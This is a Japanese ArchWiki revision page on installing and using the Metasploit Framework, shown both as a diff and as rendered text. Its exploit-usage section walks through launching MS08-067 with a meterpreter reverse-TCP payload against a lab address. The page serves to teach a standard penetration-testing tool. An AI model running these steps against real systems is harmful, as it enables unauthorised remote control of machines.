「Metasploit Framework」の版間の差分
(en:Metasploit Frameworkへの転送ページ) |
|||
1行目: | 1行目: | ||
+ | [[Category:ネットワーク]] |
||
− | #redirect[[en:Metasploit Framework]] |
||
+ | [[Category:セキュリティ]] |
||
+ | [[en:Metasploit Framework]] |
||
+ | [http://www.offensive-security.com/metasploit-unleashed/Introduction 公式サイト] より: |
||
+ | :''今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。'' |
||
+ | |||
+ | 現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。 |
||
+ | |||
+ | == インストール == |
||
+ | |||
+ | [[AUR]] から {{AUR|metasploit}} をインストールしてください。 |
||
+ | |||
+ | 最新の開発版を使いたいときは、{{AUR|metasploit-git}} をインストールしてください。 |
||
+ | |||
+ | === RVM === |
||
+ | |||
+ | Msfconsole は [[Ruby]] を必要とし、エラーなく動かすために多少の [[Ruby#RubyGems]] が必要になります。 |
||
+ | |||
+ | [[RVM#RVM のインストール]] と [[RVM#RVM を使う]] の記事に従って Ruby バージョン 2.1.5 をインストールしてデフォルトで使用するように設定してください。 |
||
+ | |||
+ | 設定が完了したら、新しく作成した RVM 環境を読み込みます: |
||
+ | |||
+ | $ source ~/.rvm/scripts/rvm |
||
+ | |||
+ | そして [[Ruby#Bundler]] を使って Msfconsole を動かすのに必要な gem を全てインストールしてください: |
||
+ | |||
+ | $ gem install bundler |
||
+ | $ bundle install |
||
+ | |||
+ | {{Note|Ruby 2.1.5 よりも古いバージョンを使っていると {{ic|metasploit-concern}} gem のインストールに失敗します。}} |
||
+ | |||
+ | == データベースの設定 == |
||
+ | |||
+ | {{Note|以下、{{ic|msfconsole}} から実行するコマンドには全て {{ic|msf >}} を前に付けます。}} |
||
+ | |||
+ | Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の ''Postgresql'' データベースサーバーをセットアップする方法を説明します。 |
||
+ | |||
+ | [[PostgreSQL]] の記事に従って {{ic|msf}} という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では {{ic|msf}} ということにします。 |
||
+ | |||
+ | {{ic|msfconsole}} を起動して以下を入力: |
||
+ | |||
+ | msf > db_connect ''user''@msf |
||
+ | |||
+ | ''user'' はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。 |
||
+ | |||
+ | データベースキャッシュを再生成: |
||
+ | |||
+ | msf > db_rebuild_cache |
||
+ | |||
+ | Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。 |
||
+ | |||
+ | {{Tip|初めてキャッシュを再生成するときは数分間はかかります。{{ic|top}} や {{Pkg|htop}} を実行することでキャッシュ生成の進捗を監視できます。生成中、Ruby/Postgres/Metasploit プロセスは CPU 時間を 50% まで占有します。}} |
||
+ | |||
+ | 現在 Metasploit では {{ic|msfconsole}} を起動するたびに {{ic|db_connect}} コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: {{ic|~/.bashrc}}) に以下のエイリアスを追加してください: |
||
+ | |||
+ | alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\"" |
||
+ | |||
+ | {{ic|quiet}} オプションは[[#起動時の ASCII バナーを無効化|起動時の ASCII バナーを無効化]]して、{{ic|-x}} コマンドは起動後すぐに指定されたコマンドを実行します。 |
||
+ | |||
+ | {{ic|.msf4}} ディレクトリに {{ic|database.yml}} ファイルを作成する方法もあります。例: |
||
+ | |||
+ | {{hc|~/.msf4/database.yml| |
||
+ | production: |
||
+ | adapter: postgresql |
||
+ | database: msf |
||
+ | username: ${USER} |
||
+ | password: ${PASS} |
||
+ | host: localhost |
||
+ | port: 5432 |
||
+ | pool: 5 |
||
+ | timeout: 5 |
||
+ | }} |
||
+ | |||
+ | {{Note|データベースキャッシュを作成する必要があるのは一度だけです。その後は起動時に、{{ic|msfconsole}} から {{ic|[*] Rebuilding the module cache in the background...}} と表示されますが、実際には変更された部分だけが更新されます。データベースに何の変更も行われなかったときは、1秒もかかりません。}} |
||
+ | |||
+ | {{ic|db_status}} を実行してデータベースの接続が正しく確立していることを確認してください: |
||
+ | |||
+ | {{hc|msf > db_status| |
||
+ | [*] postgresql connected to msf |
||
+ | }} |
||
+ | |||
+ | == 使用方法 == |
||
+ | |||
+ | Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである {{ic|msfconsole}} を利用する方法を説明します。 |
||
+ | |||
+ | 起動するには、{{ic|msfconsole}} と入力してください。プロンプトが {{ic|msf >}} に代わり、コマンドの入力を待機していることがわかります。 |
||
+ | |||
+ | {{Tip|Besides additional Metasploit commands explained below, all the regular shell commands and scripts found in {{ic|$PATH}} are available too! (except for aliases)}} |
||
+ | |||
+ | === モジュールのタイプ === |
||
+ | |||
+ | Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します: |
||
+ | |||
+ | * {{ic|auxiliary}} - Modules for helping the attacker in various tasks, like [[Nmap|port scanning]], version detection or network traffic analysis |
||
+ | * {{ic|exploit}} - The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication |
||
+ | * {{ic|payload}} - The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands |
||
+ | * {{ic|post}} - Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files |
||
+ | * {{ic|encoder}} - Programs for performing encryption |
||
+ | * {{ic|nop}} - ''NOP'' generators. ''NOP'' is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. ''NOP'' instructions are useful for filling the void in executables. |
||
+ | |||
+ | === exploit の検索 === |
||
+ | |||
+ | {{Note|Currently the {{ic|search}} command [[#Bugs|does not work properly]]. Refer to [[#Searching from the database]] for a workaround.}} |
||
+ | |||
+ | To discover what operating system and software version a target runs, perform a [[Nmap|port scan]]. With this information, use the {{ic|search}} command to search for available exploits. |
||
+ | |||
+ | For example, to search for all exploits on Linux platform of Novell: |
||
+ | |||
+ | msf > search platform:linux type:exploit name:Novell |
||
+ | |||
+ | To search for specific field, type it's name, followed by column and the phrase. The following search fields are available: |
||
+ | |||
+ | {| class="wikitable" |
||
+ | ! style=white-space:nowrap | 検索フィールド |
||
+ | ! style=white-space:nowrap | 説明 |
||
+ | ! style=white-space:nowrap | 入力可能な値 |
||
+ | ! style=white-space:nowrap | DB テーブル & カラム |
||
+ | |- |
||
+ | | {{ic|app}} |
||
+ | | style=white-space:nowrap | Passive (client) or Active (server) exploits |
||
+ | | {{ic|client}}, {{ic|server}} |
||
+ | | style=white-space:nowrap | {{ic|module_details.stance}} |
||
+ | |- |
||
+ | | {{ic|author}} |
||
+ | | style=white-space:nowrap | Name and email of module Author |
||
+ | | Any phrase |
||
+ | | style=white-space:nowrap | {{ic|module_authors.name}} |
||
+ | |- |
||
+ | | {{ic|type}} |
||
+ | | style=white-space:nowrap | The [[#Module types|module type]] |
||
+ | | {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}} |
||
+ | | style=white-space:nowrap | {{ic|module_details.mtype}} |
||
+ | |- |
||
+ | | {{ic|name}} |
||
+ | | style=white-space:nowrap | The path (Name) and the short description |
||
+ | | Any phrase |
||
+ | | {{ic|module_details.fullname}}, {{ic|module_details.name}} |
||
+ | |- |
||
+ | | {{ic|platform}} |
||
+ | | style=white-space:nowrap | The target hardware or software platform |
||
+ | | {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}} |
||
+ | | style=white-space:nowrap | {{ic|module_platforms.name}} |
||
+ | |- |
||
+ | | {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}} or {{ic|ref}} |
||
+ | | The [http://www.securityfocus.com/ Bugtraq], [http://www.cvedetails.com/ CVE], [http://www.exploit-db.com/ Exploit-DB], [http://www.osvdb.org/ OSBDB] ID or any |
||
+ | | Exploit database entry ID, or a part of upstream report URL |
||
+ | | style=white-space:nowrap | {{ic|module_refs.name}} |
||
+ | |- |
||
+ | | (No field) |
||
+ | | All of the above except {{ic|app}} and {{ic|type}} |
||
+ | | Any phrase |
||
+ | | All of the above |
||
+ | |} |
||
+ | |||
+ | See [[#Searching from the database]] and [[#Database search examples]] for more advanced search queries. |
||
+ | |||
+ | === exploit を使う === |
||
+ | |||
+ | After choosing an appropriate exploit, it's time to start hacking! |
||
+ | |||
+ | First, select an exploit using the {{ic|use}} command: |
||
+ | |||
+ | msf > use exploit/windows/smb/ms08_067_netapi |
||
+ | |||
+ | {{Note|{{ic|ms08_067_netapi}} is one of the most popular exploits affecting Windows XP and Windows Server 2003 SMB services. It was disclosed in 2008 and proves to be very reliable in exploiting unpatched systems which have firewalls disabled.}} |
||
+ | |||
+ | To view information about a module, use the {{ic|info}} command: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi |
||
+ | |||
+ | Running {{ic|info}} without arguments will show info about currently selected module. |
||
+ | |||
+ | To view the selected exploit's options, run: |
||
+ | |||
+ | {{hc|msf exploit(ms08_067_netapi) > show options| |
||
+ | Module options (exploit/windows/smb/ms08_067_netapi): |
||
+ | |||
+ | Name Current Setting Required Description |
||
+ | ---- --------------- -------- ----------- |
||
+ | RHOST yes The target address |
||
+ | RPORT 445 yes Set the SMB service port |
||
+ | SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) |
||
+ | |||
+ | ... |
||
+ | }} |
||
+ | |||
+ | All the required fields must be provided before exploitation. Here, only the {{ic|RHOST}} variable must be specified. To assign a value to a variable use the {{ic|set}} command: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102 |
||
+ | |||
+ | Now choose the payload: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp |
||
+ | |||
+ | {{Note|Meterpreter is a command shell built into Metasploit and allows the attacker to run remote commands on exploited systems. Reverse TCP is technique when the exploited computer establishes a connection back to the computer it was exploited from.}} |
||
+ | |||
+ | Choosing a payload (actually, choosing modules in general) will add more options. Run {{ic|show optons}} again: |
||
+ | |||
+ | {{hc|msf exploit(ms08_067_netapi) > show options| |
||
+ | Module options (exploit/windows/smb/ms08_067_netapi): |
||
+ | |||
+ | Name Current Setting Required Description |
||
+ | ---- --------------- -------- ----------- |
||
+ | RHOST 192.168.56.102 yes The target address |
||
+ | RPORT 445 yes Set the SMB service port |
||
+ | SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) |
||
+ | |||
+ | |||
+ | Payload options (windows/meterpreter/reverse_tcp): |
||
+ | |||
+ | Name Current Setting Required Description |
||
+ | ---- --------------- -------- ----------- |
||
+ | EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) |
||
+ | LHOST yes The listen address |
||
+ | LPORT 4444 yes The listen port |
||
+ | }} |
||
+ | |||
+ | Now assign {{ic|LHOST}} variable to the address of your computer, where the exploited computer will send connection requests to: |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1 |
||
+ | |||
+ | Now launch the attack! |
||
+ | |||
+ | msf exploit(ms08_067_netapi) > exploit |
||
+ | |||
+ | If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See [[#Meterpreter]] for available commands. |
||
+ | |||
+ | == バグ == |
||
+ | |||
+ | === 検索で正しくフィルタリングされない === |
||
+ | |||
+ | Currently the {{ic|search}} command in {{ic|msfconsole}} does not properly filter the results if more than 1 filters are specified. See [https://dev.metasploit.com/redmine/issues/8822 the bug report] for details. |
||
+ | |||
+ | See [[#Searching from the database]] for a workaround. |
||
+ | |||
+ | == Tips and tricks == |
||
+ | |||
+ | === データベースから検索 === |
||
+ | |||
+ | Since everything in Metasploit is stored in a database, it's easy to make powerful search queries without the need of the {{ic|search}} frontend command. |
||
+ | |||
+ | To start the database interface, run: |
||
+ | |||
+ | $ psql msf |
||
+ | |||
+ | The information about modules is stored in 8 tables: |
||
+ | |||
+ | {| class="wikitable" |
||
+ | !テーブル名 |
||
+ | !中身 |
||
+ | |- |
||
+ | |{{ic|module_details}} |
||
+ | |The "main" table, describes various details of each module |
||
+ | |- |
||
+ | |{{ic|module_actions}} |
||
+ | |The action names of ''auxiliary'' modules |
||
+ | |- |
||
+ | |{{ic|module_archs}} |
||
+ | |The target hardware architecture or software platform |
||
+ | |- |
||
+ | |{{ic|module_authors}} |
||
+ | |Names and emails of module author |
||
+ | |- |
||
+ | |{{ic|module_mixins}} |
||
+ | |Empty (???) |
||
+ | |- |
||
+ | |{{ic|module_platforms}} |
||
+ | |The target operating system. See also [[#Popularity of a platform by number of exploits]] |
||
+ | |- |
||
+ | |{{ic|module_refs}} |
||
+ | |References to various online exploit databases and reports |
||
+ | |- |
||
+ | |{{ic|module_targets}} |
||
+ | |The target program name and version of the ''exploit'' |
||
+ | |} |
||
+ | |||
+ | {{Tip|To see what type of details (columns) a table contains, run {{ic|\d+ ''table_name''}}. For example: {{ic|\d+ module_details}}.}} |
||
+ | |||
+ | Almost all tables have 3 columns: {{ic|id}}, {{ic|detail_id}} and {{ic|name}}, except for {{ic|module_details}} table which has 16 columns. |
||
+ | |||
+ | The {{ic|detail_id}} values are pointers to the rows of {{ic|module_details}} table. |
||
+ | |||
+ | To see the all the contents of a table, run: |
||
+ | |||
+ | SELECT * FROM ''table_name''; |
||
+ | |||
+ | Multiple: |
||
+ | |||
+ | * Architecture |
||
+ | * Platform |
||
+ | * Target |
||
+ | |||
+ | Module options: |
||
+ | |||
+ | * module type |
||
+ | * stance |
||
+ | * privileged |
||
+ | * path |
||
+ | * name |
||
+ | * refname |
||
+ | * rank |
||
+ | * privileged |
||
+ | * disclosure date |
||
+ | |||
+ | === データベース検索のサンプル === |
||
+ | |||
+ | The {{ic|module_details}} table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules: |
||
+ | |||
+ | SELECT id, mtype, refname, disclosure_date, rank, stance, name |
||
+ | FROM module_details; |
||
+ | |||
+ | Show some information about available modules, include platform information from {{ic|module_platforms}}: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id; |
||
+ | |||
+ | Show all client (aggressive) exploits for Windows platform: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id |
||
+ | WHERE module_platforms.name = 'windows' |
||
+ | AND mtype = 'exploit' |
||
+ | AND stance = 'aggressive'; |
||
+ | |||
+ | Show all exploits for Windows platform with rank >= 500 disclosed after 2013: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id |
||
+ | WHERE module_platforms.name = 'windows' |
||
+ | AND mtype = 'exploit' |
||
+ | AND rank >= 500 |
||
+ | AND disclosure_date >= TIMESTAMP '2013-1-1'; |
||
+ | |||
+ | Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target: |
||
+ | |||
+ | SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target |
||
+ | FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id |
||
+ | WHERE module_platforms.name = 'windows' |
||
+ | AND mtype = 'exploit' |
||
+ | AND stance = 'aggressive' |
||
+ | AND rank >= 500 |
||
+ | order by target; |
||
+ | |||
+ | === exploit の数によるプラットフォームの人気度 === |
||
+ | |||
+ | To view the possible {{ic|platform}} values, and number of available exploits, run from {{ic|psql}}: |
||
+ | |||
+ | SELECT name, count(*) |
||
+ | FROM module_platforms |
||
+ | GROUP BY name |
||
+ | ORDER BY count DESC; |
||
+ | |||
+ | === 起動時の ASCII バナーを無効化 === |
||
+ | |||
+ | To disable the banner, run {{ic|msfconsole}} with {{ic|-q}}/{{ic|--quiet}} argument: |
||
+ | |||
+ | $ msfconsole --quiet |
||
+ | |||
+ | === セッションが変わっても変数の値を維持する === |
||
+ | |||
+ | If you don't want the variables to reset when selecting another module and when rerunning {{ic|msfconsole}} then set it globally via {{ic|setg}}, for example: |
||
+ | |||
+ | msf > setg RHOST 192.168.56.102 |
||
+ | |||
+ | == トラブルシューティング == |
||
+ | |||
+ | === VNC ビューアでクリックできない === |
||
+ | |||
+ | If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the {{ic|ViewOnly}} variable to false. To fix this problem, re-run the exploit with the variable set to {{ic|false}}: |
||
+ | |||
+ | msf > set ViewOnly false |
||
+ | |||
+ | === cannot load such file -- robots (LoadError) === |
||
+ | |||
+ | 以下のようなエラーが表示される場合: |
||
+ | |||
+ | ~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) |
||
+ | from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' |
||
+ | from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' |
||
+ | from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' |
||
+ | from ./msfconsole:48:in `<main>' |
||
+ | |||
+ | This happens because the file {{ic|robots.rb}} has incorrect permissions and can be read only by the root user (see [https://github.com/fizx/robots/issues/6 the bug report]): |
||
+ | |||
+ | {{hc|$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib| |
||
+ | total 4 |
||
+ | -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb |
||
+ | }} |
||
+ | |||
+ | To fix this, simply change the permission to be world-readable: |
||
+ | |||
+ | # chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb |
||
+ | |||
+ | === db_connect が何もエラーを表示しないで失敗する === |
||
+ | |||
+ | If upon running {{ic|db_connect}} you see no output, but later getting a message like this: |
||
+ | |||
+ | [!] Database not connected or cache not built, using slow search |
||
+ | |||
+ | that probably means that the {{ic|postgresql}} service is not running. |
||
+ | |||
+ | == 参照 == |
||
+ | |||
+ | * [http://www.offensive-security.com/metasploit-unleashed/Main_Page Metasploit Unleashed security training] |
||
+ | * [https://github.com/rapid7/metasploit-framework/wiki Metasploit wiki on GitHub] |
||
+ | * [http://en.wikibooks.org/wiki/Metasploit The Metasploit Book] |
2015年11月22日 (日) 22:10時点における版
公式サイト より:
- 今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。
現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。
インストール
AUR から metasploitAUR をインストールしてください。
最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。
RVM
Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。
RVM#RVM のインストール と RVM#RVM を使う の記事に従って Ruby バージョン 2.1.5 をインストールしてデフォルトで使用するように設定してください。
設定が完了したら、新しく作成した RVM 環境を読み込みます:
$ source ~/.rvm/scripts/rvm
そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:
$ gem install bundler $ bundle install
データベースの設定
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。
PostgreSQL の記事に従って msf
という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf
ということにします。
msfconsole
を起動して以下を入力:
msf > db_connect user@msf
user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。
データベースキャッシュを再生成:
msf > db_rebuild_cache
Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。
現在 Metasploit では msfconsole
を起動するたびに db_connect
コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc
) に以下のエイリアスを追加してください:
alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""
quiet
オプションは起動時の ASCII バナーを無効化して、-x
コマンドは起動後すぐに指定されたコマンドを実行します。
.msf4
ディレクトリに database.yml
ファイルを作成する方法もあります。例:
~/.msf4/database.yml
production: adapter: postgresql database: msf username: ${USER} password: ${PASS} host: localhost port: 5432 pool: 5 timeout: 5
db_status
を実行してデータベースの接続が正しく確立していることを確認してください:
msf > db_status
[*] postgresql connected to msf
使用方法
Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole
を利用する方法を説明します。
起動するには、msfconsole
と入力してください。プロンプトが msf >
に代わり、コマンドの入力を待機していることがわかります。
モジュールのタイプ
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
auxiliary
- Modules for helping the attacker in various tasks, like port scanning, version detection or network traffic analysisexploit
- The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authenticationpayload
- The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commandspost
- Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading filesencoder
- Programs for performing encryptionnop
- NOP generators. NOP is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. NOP instructions are useful for filling the void in executables.
exploit の検索
To discover what operating system and software version a target runs, perform a port scan. With this information, use the search
command to search for available exploits.
For example, to search for all exploits on Linux platform of Novell:
msf > search platform:linux type:exploit name:Novell
To search for specific field, type it's name, followed by column and the phrase. The following search fields are available:
検索フィールド | 説明 | 入力可能な値 | DB テーブル & カラム |
---|---|---|---|
app
|
Passive (client) or Active (server) exploits | client , server
|
module_details.stance
|
author
|
Name and email of module Author | Any phrase | module_authors.name
|
type
|
The module type | auxiliary , exploit , payload , post , encoder , nop
|
module_details.mtype
|
name
|
The path (Name) and the short description | Any phrase | module_details.fullname , module_details.name
|
platform
|
The target hardware or software platform | bsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solaris
|
module_platforms.name
|
bid , cve , edb , osvdb or ref
|
The Bugtraq, CVE, Exploit-DB, OSBDB ID or any | Exploit database entry ID, or a part of upstream report URL | module_refs.name
|
(No field) | All of the above except app and type
|
Any phrase | All of the above |
See #Searching from the database and #Database search examples for more advanced search queries.
exploit を使う
After choosing an appropriate exploit, it's time to start hacking!
First, select an exploit using the use
command:
msf > use exploit/windows/smb/ms08_067_netapi
To view information about a module, use the info
command:
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
Running info
without arguments will show info about currently selected module.
To view the selected exploit's options, run:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
All the required fields must be provided before exploitation. Here, only the RHOST
variable must be specified. To assign a value to a variable use the set
command:
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
Now choose the payload:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
Choosing a payload (actually, choosing modules in general) will add more options. Run show optons
again:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
Now assign LHOST
variable to the address of your computer, where the exploited computer will send connection requests to:
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
Now launch the attack!
msf exploit(ms08_067_netapi) > exploit
If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See #Meterpreter for available commands.
バグ
検索で正しくフィルタリングされない
Currently the search
command in msfconsole
does not properly filter the results if more than 1 filters are specified. See the bug report for details.
See #Searching from the database for a workaround.
Tips and tricks
データベースから検索
Since everything in Metasploit is stored in a database, it's easy to make powerful search queries without the need of the search
frontend command.
To start the database interface, run:
$ psql msf
The information about modules is stored in 8 tables:
テーブル名 | 中身 |
---|---|
module_details
|
The "main" table, describes various details of each module |
module_actions
|
The action names of auxiliary modules |
module_archs
|
The target hardware architecture or software platform |
module_authors
|
Names and emails of module author |
module_mixins
|
Empty (???) |
module_platforms
|
The target operating system. See also #Popularity of a platform by number of exploits |
module_refs
|
References to various online exploit databases and reports |
module_targets
|
The target program name and version of the exploit |
Almost all tables have 3 columns: id
, detail_id
and name
, except for module_details
table which has 16 columns.
The detail_id
values are pointers to the rows of module_details
table.
To see the all the contents of a table, run:
SELECT * FROM table_name;
Multiple:
- Architecture
- Platform
- Target
Module options:
- module type
- stance
- privileged
- path
- name
- refname
- rank
- privileged
- disclosure date
データベース検索のサンプル
The module_details
table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules:
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
Show some information about available modules, include platform information from module_platforms
:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
Show all client (aggressive) exploits for Windows platform:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
Show all exploits for Windows platform with rank >= 500 disclosed after 2013:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target:
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
exploit の数によるプラットフォームの人気度
To view the possible platform
values, and number of available exploits, run from psql
:
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
起動時の ASCII バナーを無効化
To disable the banner, run msfconsole
with -q
/--quiet
argument:
$ msfconsole --quiet
セッションが変わっても変数の値を維持する
If you don't want the variables to reset when selecting another module and when rerunning msfconsole
then set it globally via setg
, for example:
msf > setg RHOST 192.168.56.102
トラブルシューティング
VNC ビューアでクリックできない
